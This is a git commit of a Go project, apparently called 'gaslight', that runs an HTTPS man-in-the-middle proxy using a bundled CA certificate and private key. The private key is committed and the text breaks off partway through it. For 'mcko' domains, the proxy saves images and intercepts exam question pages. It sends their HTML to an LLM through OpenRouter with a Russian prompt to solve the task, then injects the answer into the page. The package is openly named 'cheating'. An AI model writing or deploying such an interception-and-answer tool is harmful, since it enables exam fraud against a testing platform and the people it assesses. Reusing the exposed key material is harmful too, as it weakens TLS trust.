upd
This commit is contained in:
2
.gitignore
vendored
Normal file
2
.gitignore
vendored
Normal file
@@ -0,0 +1,2 @@
|
||||
captures/
|
||||
main
|
||||
34
cert.pem
Normal file
34
cert.pem
Normal file
@@ -0,0 +1,34 @@
|
||||
-----BEGIN CERTIFICATE-----
|
||||
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
|
||||
0/XDAobaxw==
|
||||
-----END CERTIFICATE-----
|
||||
10
go.mod
Normal file
10
go.mod
Normal file
@@ -0,0 +1,10 @@
|
||||
module git.gulenok.ru/greenhaze/gaslight
|
||||
|
||||
go 1.25.5
|
||||
|
||||
require github.com/elazarl/goproxy v1.8.3
|
||||
|
||||
require (
|
||||
golang.org/x/net v0.43.0 // indirect
|
||||
golang.org/x/text v0.28.0 // indirect
|
||||
)
|
||||
16
go.sum
Normal file
16
go.sum
Normal file
@@ -0,0 +1,16 @@
|
||||
github.com/coder/websocket v1.8.14 h1:9L0p0iKiNOibykf283eHkKUHHrpG7f65OE3BhhO7v9g=
|
||||
github.com/coder/websocket v1.8.14/go.mod h1:NX3SzP+inril6yawo5CQXx8+fk145lPDC6pumgx0mVg=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/elazarl/goproxy v1.8.3 h1:XhiZpzW0NvsGOqSv/F3v4+1F29842yYaJNN+In5Fnuc=
|
||||
github.com/elazarl/goproxy v1.8.3/go.mod h1:b5xm6W48AUHNpRTCvlnd0YVh+JafCCtsLsJZvvNTz+E=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
|
||||
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
|
||||
golang.org/x/net v0.43.0 h1:lat02VYK2j4aLzMzecihNvTlJNQUq316m2Mr9rnM6YE=
|
||||
golang.org/x/net v0.43.0/go.mod h1:vhO1fvI4dGsIjh73sWfUVjj3N7CA9WkKJNQm2svM6Jg=
|
||||
golang.org/x/text v0.28.0 h1:rhazDwis8INMIwQ4tpjLDzUhx6RlXqZNPEM0huQojng=
|
||||
golang.org/x/text v0.28.0/go.mod h1:U8nCwOR8jO/marOQ0QbDiOngZVEBB7MAiitBuMjXiNU=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
80
internal/capture/images.go
Normal file
80
internal/capture/images.go
Normal file
@@ -0,0 +1,80 @@
|
||||
package capture
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"mime"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"git.gulenok.ru/greenhaze/gaslight/internal/domain"
|
||||
)
|
||||
|
||||
type ImageSaver struct {
|
||||
outputDir string
|
||||
counter uint64
|
||||
}
|
||||
|
||||
func NewImageSaver(outputDir string) *ImageSaver {
|
||||
return &ImageSaver{outputDir: outputDir}
|
||||
}
|
||||
|
||||
func (s *ImageSaver) Save(resp *http.Response, body []byte) error {
|
||||
n := atomic.AddUint64(&s.counter, 1)
|
||||
ts := time.Now().UTC().Format("20060102T150405.000000000Z")
|
||||
host := sanitizeName(domain.HostWithoutPort(resp.Request.Host))
|
||||
ext := imageExtension(resp.Header.Get("Content-Type"), resp.Request.URL.Path)
|
||||
name := fmt.Sprintf("%s_%06d_%s%s", ts, n, host, ext)
|
||||
return os.WriteFile(filepath.Join(s.outputDir, name), body, 0o644)
|
||||
}
|
||||
|
||||
func IsImageResponse(contentType, path string) bool {
|
||||
if strings.HasPrefix(strings.ToLower(contentType), "image/") {
|
||||
return true
|
||||
}
|
||||
switch strings.ToLower(filepath.Ext(path)) {
|
||||
case ".jpg", ".jpeg", ".png", ".gif", ".bmp", ".webp", ".svg", ".ico", ".avif":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func imageExtension(contentType, requestPath string) string {
|
||||
if ext := strings.ToLower(filepath.Ext(requestPath)); ext != "" && ext != "." {
|
||||
return ext
|
||||
}
|
||||
|
||||
base := strings.ToLower(strings.TrimSpace(strings.Split(contentType, ";")[0]))
|
||||
if base != "" {
|
||||
if exts, err := mime.ExtensionsByType(base); err == nil && len(exts) > 0 {
|
||||
return exts[0]
|
||||
}
|
||||
}
|
||||
return ".img"
|
||||
}
|
||||
|
||||
func sanitizeName(s string) string {
|
||||
s = strings.ToLower(strings.TrimSpace(s))
|
||||
if s == "" {
|
||||
return "unknown-host"
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
for _, r := range s {
|
||||
switch {
|
||||
case r >= 'a' && r <= 'z':
|
||||
b.WriteRune(r)
|
||||
case r >= '0' && r <= '9':
|
||||
b.WriteRune(r)
|
||||
case r == '.', r == '-', r == '_':
|
||||
b.WriteRune(r)
|
||||
default:
|
||||
b.WriteByte('_')
|
||||
}
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
12
internal/cheating/determine_question_type.go
Normal file
12
internal/cheating/determine_question_type.go
Normal file
@@ -0,0 +1,12 @@
|
||||
package cheating
|
||||
|
||||
type QuestionType int
|
||||
|
||||
const (
|
||||
QuestionWithPicture QuestionType = iota
|
||||
FullTextQuestion QuestionType = iota
|
||||
)
|
||||
|
||||
func DetermineQuestionType(html string) QuestionType {
|
||||
return FullTextQuestion
|
||||
}
|
||||
25
internal/config/config.go
Normal file
25
internal/config/config.go
Normal file
@@ -0,0 +1,25 @@
|
||||
package config
|
||||
|
||||
import "flag"
|
||||
|
||||
type Config struct {
|
||||
ListenAddr string
|
||||
OutputDir string
|
||||
CertPath string
|
||||
KeyPath string
|
||||
}
|
||||
|
||||
func ParseFlags() Config {
|
||||
listenAddr := flag.String("listen", ":1199", "proxy listen address")
|
||||
outputDir := flag.String("out-dir", "./captures/images", "directory for captured image responses")
|
||||
certPath := flag.String("cert", "./cert.pem", "MITM CA certificate path (PEM)")
|
||||
keyPath := flag.String("key", "./key.pem", "MITM CA private key path (PEM)")
|
||||
flag.Parse()
|
||||
|
||||
return Config{
|
||||
ListenAddr: *listenAddr,
|
||||
OutputDir: *outputDir,
|
||||
CertPath: *certPath,
|
||||
KeyPath: *keyPath,
|
||||
}
|
||||
}
|
||||
16
internal/domain/domain.go
Normal file
16
internal/domain/domain.go
Normal file
@@ -0,0 +1,16 @@
|
||||
package domain
|
||||
|
||||
import "strings"
|
||||
|
||||
func HostWithoutPort(host string) string {
|
||||
host = strings.TrimSpace(strings.ToLower(host))
|
||||
if i := strings.IndexByte(host, ':'); i >= 0 {
|
||||
return host[:i]
|
||||
}
|
||||
return host
|
||||
}
|
||||
|
||||
func IsMckoDomain(host string) bool {
|
||||
host = HostWithoutPort(host)
|
||||
return strings.Contains(host, ".mcko.") || strings.HasPrefix(host, "mcko.")
|
||||
}
|
||||
57
internal/latex/latex2ascii.go
Normal file
57
internal/latex/latex2ascii.go
Normal file
@@ -0,0 +1,57 @@
|
||||
package latex
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func ConvertLaTeXToASCII(input string) string {
|
||||
s := input
|
||||
|
||||
replacements := []struct {
|
||||
pattern *regexp.Regexp
|
||||
replace string
|
||||
}{
|
||||
// Fractions: \frac{a}{b} -> (a)/(b)
|
||||
{regexp.MustCompile(`\\frac\{([^{}]+)\}\{([^{}]+)\}`), `($1)/($2)`},
|
||||
|
||||
// Square roots: \sqrt{x} -> sqrt(x)
|
||||
{regexp.MustCompile(`\\sqrt\{([^{}]+)\}`), `sqrt($1)`},
|
||||
|
||||
// Powers: x^{y} -> x^y
|
||||
{regexp.MustCompile(`\{?\^\{([^{}]+)\}\}?`), `^$1`},
|
||||
|
||||
// Subscripts: x_{i} -> x_i
|
||||
{regexp.MustCompile(`_\{([^{}]+)\}`), `_$1`},
|
||||
|
||||
// Greek letters (common subset)
|
||||
{regexp.MustCompile(`\\alpha`), "alpha"},
|
||||
{regexp.MustCompile(`\\beta`), "beta"},
|
||||
{regexp.MustCompile(`\\gamma`), "gamma"},
|
||||
{regexp.MustCompile(`\\delta`), "delta"},
|
||||
{regexp.MustCompile(`\\theta`), "theta"},
|
||||
{regexp.MustCompile(`\\pi`), "pi"},
|
||||
{regexp.MustCompile(`\\lambda`), "lambda"},
|
||||
|
||||
// Common symbols
|
||||
{regexp.MustCompile(`\\times`), "*"},
|
||||
{regexp.MustCompile(`\\cdot`), "*"},
|
||||
{regexp.MustCompile(`\\pm`), "+/-"},
|
||||
{regexp.MustCompile(`\\leq`), "<="},
|
||||
{regexp.MustCompile(`\\geq`), ">="},
|
||||
{regexp.MustCompile(`\\neq`), "!="},
|
||||
|
||||
// Remove LaTeX math wrappers
|
||||
{regexp.MustCompile(`\\left|\\right`), ""},
|
||||
{regexp.MustCompile(`\\[|\\]|\$`), ""},
|
||||
}
|
||||
|
||||
for _, r := range replacements {
|
||||
s = r.pattern.ReplaceAllString(s, r.replace)
|
||||
}
|
||||
|
||||
// Clean extra spaces
|
||||
s = strings.TrimSpace(strings.Join(strings.Fields(s), " "))
|
||||
|
||||
return s
|
||||
}
|
||||
176
internal/openrouter/openrouter.go
Normal file
176
internal/openrouter/openrouter.go
Normal file
@@ -0,0 +1,176 @@
|
||||
package openrouter
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
)
|
||||
|
||||
var Orclient OpenRouterClient
|
||||
|
||||
type OpenRouterClient struct {
|
||||
APIKey string
|
||||
Model string
|
||||
}
|
||||
type OpenRouterRequest struct {
|
||||
Model string `json:"model"`
|
||||
Messages []struct {
|
||||
Role string `json:"role"`
|
||||
Content string `json:"content"`
|
||||
} `json:"messages"`
|
||||
}
|
||||
|
||||
type OpenRouterResponse struct {
|
||||
Choices []struct {
|
||||
Message struct {
|
||||
Content string `json:"content"`
|
||||
} `json:"message"`
|
||||
} `json:"choices"`
|
||||
}
|
||||
|
||||
func AskOpenRouter(prompt string) (string, error) {
|
||||
url := "https://openrouter.ai/api/v1/chat/completions"
|
||||
apiKey := Orclient.APIKey
|
||||
model := Orclient.Model
|
||||
reqBody := OpenRouterRequest{
|
||||
Model: model,
|
||||
}
|
||||
|
||||
reqBody.Messages = append(reqBody.Messages, struct {
|
||||
Role string `json:"role"`
|
||||
Content string `json:"content"`
|
||||
}{
|
||||
Role: "user",
|
||||
Content: prompt,
|
||||
})
|
||||
|
||||
jsonData, err := json.Marshal(reqBody)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
req, err := http.NewRequest("POST", url, bytes.NewBuffer(jsonData))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
req.Header.Set("Authorization", "Bearer "+apiKey)
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
req.Header.Set("HTTP-Referer", "https://yourapp.com") // optional but recommended
|
||||
req.Header.Set("X-Title", "My App") // optional
|
||||
|
||||
client := &http.Client{}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
if resp.StatusCode != 200 {
|
||||
return "", fmt.Errorf("error: %s", string(body))
|
||||
}
|
||||
|
||||
var result OpenRouterResponse
|
||||
err = json.Unmarshal(body, &result)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
if len(result.Choices) == 0 {
|
||||
return "", fmt.Errorf("no response from model")
|
||||
}
|
||||
|
||||
return result.Choices[0].Message.Content, nil
|
||||
}
|
||||
|
||||
func AskOpenRouterWithLocalImage(prompt, imagePath string) (string, error) {
|
||||
url := "https://openrouter.ai/api/v1/chat/completions"
|
||||
apiKey := Orclient.APIKey
|
||||
model := Orclient.Model
|
||||
// Read image file
|
||||
imageBytes, err := os.ReadFile(imagePath)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// Detect mime type (optional but good practice)
|
||||
mimeType := http.DetectContentType(imageBytes)
|
||||
|
||||
// Encode to base64
|
||||
base64Image := base64.StdEncoding.EncodeToString(imageBytes)
|
||||
|
||||
imageData := fmt.Sprintf("data:%s;base64,%s", mimeType, base64Image)
|
||||
|
||||
payload := map[string]interface{}{
|
||||
"model": model,
|
||||
"messages": []map[string]interface{}{
|
||||
{
|
||||
"role": "user",
|
||||
"content": []map[string]interface{}{
|
||||
{
|
||||
"type": "text",
|
||||
"text": prompt,
|
||||
},
|
||||
{
|
||||
"type": "image_url",
|
||||
"image_url": map[string]string{
|
||||
"url": imageData,
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
jsonData, err := json.Marshal(payload)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
req, err := http.NewRequest("POST", url, bytes.NewBuffer(jsonData))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
req.Header.Set("Authorization", "Bearer "+apiKey)
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
req.Header.Set("HTTP-Referer", "https://yourapp.com")
|
||||
req.Header.Set("X-Title", "My App")
|
||||
|
||||
client := &http.Client{}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
if resp.StatusCode != 200 {
|
||||
return "", fmt.Errorf("error: %s", string(body))
|
||||
}
|
||||
|
||||
var result OpenRouterResponse
|
||||
err = json.Unmarshal(body, &result)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
if len(result.Choices) == 0 {
|
||||
return "", fmt.Errorf("no response")
|
||||
}
|
||||
|
||||
return result.Choices[0].Message.Content, nil
|
||||
}
|
||||
87
internal/proxy/server.go
Normal file
87
internal/proxy/server.go
Normal file
@@ -0,0 +1,87 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/elazarl/goproxy"
|
||||
|
||||
"git.gulenok.ru/greenhaze/gaslight/internal/capture"
|
||||
"git.gulenok.ru/greenhaze/gaslight/internal/config"
|
||||
"git.gulenok.ru/greenhaze/gaslight/internal/domain"
|
||||
"git.gulenok.ru/greenhaze/gaslight/internal/rewrite"
|
||||
"git.gulenok.ru/greenhaze/gaslight/internal/tlsutil"
|
||||
)
|
||||
|
||||
func Run(cfg config.Config) error {
|
||||
if err := os.MkdirAll(cfg.OutputDir, 0o755); err != nil {
|
||||
return fmt.Errorf("failed to create output directory: %w", err)
|
||||
}
|
||||
|
||||
caCert, err := tlsutil.LoadCACert(cfg.CertPath, cfg.KeyPath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to load CA certificate/key: %w", err)
|
||||
}
|
||||
goproxy.GoproxyCa = *caCert
|
||||
|
||||
imageSaver := capture.NewImageSaver(cfg.OutputDir)
|
||||
rewriter := rewrite.NewProcessor(rewrite.DefaultQuestionTestHook)
|
||||
|
||||
p := goproxy.NewProxyHttpServer()
|
||||
p.Verbose = false
|
||||
p.OnRequest().HandleConnect(goproxy.AlwaysMitm)
|
||||
p.OnResponse().DoFunc(func(resp *http.Response, _ *goproxy.ProxyCtx) *http.Response {
|
||||
if resp == nil || resp.Request == nil || resp.Body == nil {
|
||||
return resp
|
||||
}
|
||||
|
||||
if !domain.IsMckoDomain(resp.Request.Host) {
|
||||
return resp
|
||||
}
|
||||
|
||||
original, err := io.ReadAll(resp.Body)
|
||||
_ = resp.Body.Close()
|
||||
if err != nil {
|
||||
log.Printf("read body failed for %s: %v", resp.Request.URL.String(), err)
|
||||
return resp
|
||||
}
|
||||
|
||||
contentType := strings.ToLower(resp.Header.Get("Content-Type"))
|
||||
if capture.IsImageResponse(contentType, resp.Request.URL.Path) {
|
||||
if err := imageSaver.Save(resp, original); err != nil {
|
||||
log.Printf("save image failed for %s: %v", resp.Request.URL.String(), err)
|
||||
}
|
||||
setResponseBody(resp, original)
|
||||
return resp
|
||||
}
|
||||
|
||||
if !rewrite.IsHTMLResponse(contentType) {
|
||||
setResponseBody(resp, original)
|
||||
return resp
|
||||
}
|
||||
|
||||
modified, err := rewriter.RewriteIfNeeded(resp.Request, resp.Header.Get("Content-Encoding"), original)
|
||||
if err != nil {
|
||||
log.Printf("html rewrite failed for %s: %v", resp.Request.URL.String(), err)
|
||||
setResponseBody(resp, original)
|
||||
return resp
|
||||
}
|
||||
|
||||
setResponseBody(resp, modified)
|
||||
return resp
|
||||
})
|
||||
|
||||
log.Printf("proxy listening on %s", cfg.ListenAddr)
|
||||
return http.ListenAndServe(cfg.ListenAddr, p)
|
||||
}
|
||||
|
||||
func setResponseBody(resp *http.Response, body []byte) {
|
||||
resp.Body = io.NopCloser(bytes.NewReader(body))
|
||||
resp.ContentLength = int64(len(body))
|
||||
resp.Header.Set("Content-Length", fmt.Sprint(len(body)))
|
||||
}
|
||||
124
internal/rewrite/html.go
Normal file
124
internal/rewrite/html.go
Normal file
@@ -0,0 +1,124 @@
|
||||
package rewrite
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/flate"
|
||||
"compress/gzip"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"git.gulenok.ru/greenhaze/gaslight/internal/cheating"
|
||||
"git.gulenok.ru/greenhaze/gaslight/internal/latex"
|
||||
"git.gulenok.ru/greenhaze/gaslight/internal/openrouter"
|
||||
)
|
||||
|
||||
var questionTestDivRe = regexp.MustCompile(`(?is)<div[^>]*\bid\s*=\s*["'][^"']*\bQuestionTest\b[^"']*["'][^>]*>`)
|
||||
|
||||
type HTMLHook func(req *http.Request, html []byte) ([]byte, error)
|
||||
|
||||
type Processor struct {
|
||||
hook HTMLHook
|
||||
}
|
||||
|
||||
func NewProcessor(hook HTMLHook) *Processor {
|
||||
return &Processor{hook: hook}
|
||||
}
|
||||
|
||||
func DefaultQuestionTestHook(_ *http.Request, html []byte) ([]byte, error) {
|
||||
switch cheating.DetermineQuestionType(string(html)) {
|
||||
case cheating.FullTextQuestion:
|
||||
{
|
||||
|
||||
aiResponce, err := openrouter.AskOpenRouter(fmt.Sprintf("РЕШИ ЗАДАНИЕ И ДАЙ МАКСИМАЛЬНО КРАТКИЙ ОТВЕТ: %s", string(html)))
|
||||
if err != nil {
|
||||
log.Printf("openrouter failed %s", err)
|
||||
return html, nil
|
||||
}
|
||||
return []byte(strings.ReplaceAll(string(html), "generated", latex.ConvertLaTeXToASCII(aiResponce))), nil
|
||||
}
|
||||
case cheating.QuestionWithPicture:
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
return []byte(strings.ReplaceAll(string(html), "generated", "pwned")), nil
|
||||
}
|
||||
|
||||
func IsHTMLResponse(contentType string) bool {
|
||||
contentType = strings.ToLower(contentType)
|
||||
return strings.Contains(contentType, "text/html") || strings.Contains(contentType, "application/xhtml+xml")
|
||||
}
|
||||
|
||||
func (p *Processor) RewriteIfNeeded(req *http.Request, contentEncoding string, body []byte) ([]byte, error) {
|
||||
decoded, err := decodeBody(contentEncoding, body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if !questionTestDivRe.Match(decoded) {
|
||||
return body, nil
|
||||
}
|
||||
|
||||
modifiedDecoded, err := p.hook(req, decoded)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return encodeBody(contentEncoding, modifiedDecoded)
|
||||
}
|
||||
|
||||
func decodeBody(encoding string, body []byte) ([]byte, error) {
|
||||
switch strings.ToLower(strings.TrimSpace(encoding)) {
|
||||
case "", "identity":
|
||||
return body, nil
|
||||
case "gzip":
|
||||
r, err := gzip.NewReader(bytes.NewReader(body))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer r.Close()
|
||||
return io.ReadAll(r)
|
||||
case "deflate":
|
||||
r := flate.NewReader(bytes.NewReader(body))
|
||||
defer r.Close()
|
||||
return io.ReadAll(r)
|
||||
default:
|
||||
return nil, fmt.Errorf("unsupported content-encoding: %s", encoding)
|
||||
}
|
||||
}
|
||||
|
||||
func encodeBody(encoding string, decoded []byte) ([]byte, error) {
|
||||
switch strings.ToLower(strings.TrimSpace(encoding)) {
|
||||
case "", "identity":
|
||||
return decoded, nil
|
||||
case "gzip":
|
||||
var buf bytes.Buffer
|
||||
w := gzip.NewWriter(&buf)
|
||||
if _, err := w.Write(decoded); err != nil {
|
||||
_ = w.Close()
|
||||
return nil, err
|
||||
}
|
||||
if err := w.Close(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return buf.Bytes(), nil
|
||||
case "deflate":
|
||||
var buf bytes.Buffer
|
||||
w, err := flate.NewWriter(&buf, flate.DefaultCompression)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if _, err := w.Write(decoded); err != nil {
|
||||
_ = w.Close()
|
||||
return nil, err
|
||||
}
|
||||
if err := w.Close(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return buf.Bytes(), nil
|
||||
default:
|
||||
return nil, fmt.Errorf("unsupported content-encoding: %s", encoding)
|
||||
}
|
||||
}
|
||||
24
internal/tlsutil/ca.go
Normal file
24
internal/tlsutil/ca.go
Normal file
@@ -0,0 +1,24 @@
|
||||
package tlsutil
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
func LoadCACert(certPath, keyPath string) (*tls.Certificate, error) {
|
||||
cert, err := tls.LoadX509KeyPair(certPath, keyPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(cert.Certificate) == 0 {
|
||||
return nil, fmt.Errorf("empty certificate chain in %s", certPath)
|
||||
}
|
||||
|
||||
leaf, err := x509.ParseCertificate(cert.Certificate[0])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
cert.Leaf = leaf
|
||||
return &cert, nil
|
||||
}
|
||||
52
key.pem
Normal file
52
key.pem
Normal file
@@ -0,0 +1,52 @@
|
||||
-----BEGIN PRIVATE KEY-----
|
||||
MIIJQQIBADANBgkqhkiG9w0BAQEFAASCCSswggknAgEAAoICAQC8wXTr25vmQ4jm
|
||||
bqESE9Oo44rTREkw59hUeG53euqccvEAD37pAzTihlUn+FzLfrtRKfOVXteWQQke
|
||||
YsYnAIkqI8IAqxZmK+wRSnYbZlrNPqTGHCteJKmadLKoXYor7hVgE87hJ5mi4XS2
|
||||
LZfAvhOMfDx23KH3d/P9E7aFkDHVMYO3iDU/on1OMB4xLOkSgVzYZUFdoxMtSAKo
|
||||
AtgtanB5iExG43KYCuUDwfuSYU5k+9L/JDDeSclFpuEr2oErHSf7BD9Xp2HB0Uzp
|
||||
qLTVAnGIT1DXEiOJdL5WtsWOhCJ1H0yJC0mtOY+EQ+6WzwVkPKWebrzO/TTTDj/Z
|
||||
DJvbDvHZ8NR4J6/bbH8qdYxjfkTPqbo3AUsRNwPlP2Dl3SnhZ/lRfUTdmEeqEezY
|
||||
F+91kzX48rkQTPrY8dNpkqPDq5BEU177JijchFbsBf7nc0PY5Dt3Wf5flJrAbzdk
|
||||
edXWe1MaIGsyfa8hLDBfCy4d977K93WNBSJENRAeFoo2DsrZP0qkI3PPB3ZMuipA
|
||||
Rp9Sqjb+xgBsp9/7V2IQ5I44/wNvl5t/cgDYgMfPg6grhEURnWA2Reu7pasMy33x
|
||||
lCafu43cne5y1lUq/Eh2RvleyWSmMQ+xg+CLo8cTXYwQ1wGNKkQowHDUpknC7rZK
|
||||
Ma0YKNGcJLCK4pUVEOkSebvRJjb9YQIDAQABAoICACAGxA+jyKkycsdEZJR0ZECe
|
||||
8QZlKvT/FYvJjla79pQ6hW0w8+PV3TKFP+wi/h2yAFbmYxPITpSKLuGmuT/TXbKW
|
||||
dBuYa9nEoI6Tf4QpIwV5mEwb6fjUiClynQCntGK9SAev/LVjunPyRJMHm9zCc38t
|
||||
8jVpvJqIUg/x+RFi9K2bc+GfXQeRyqiKTgkieV5gMDBwR727Rmzzr62xo9va2EAq
|
||||
seSCQYaOLKrtTkHZPEuylaugSKFizCGDDegasDlwPkEfSJ8XAaV43Y+0xg/xVPGf
|
||||
oZQIWhq/we7lHpKOlWkheSM0lNjtMA5tV01jzWKjTqeZ2vPU7xJTc95gPw6VU9AP
|
||||
rYBqboCus2EU7fe3N2RNpJkFi9GoyEOTn+ZJptfvDRGToXIs8S5LlAWS1Qhmwmx6
|
||||
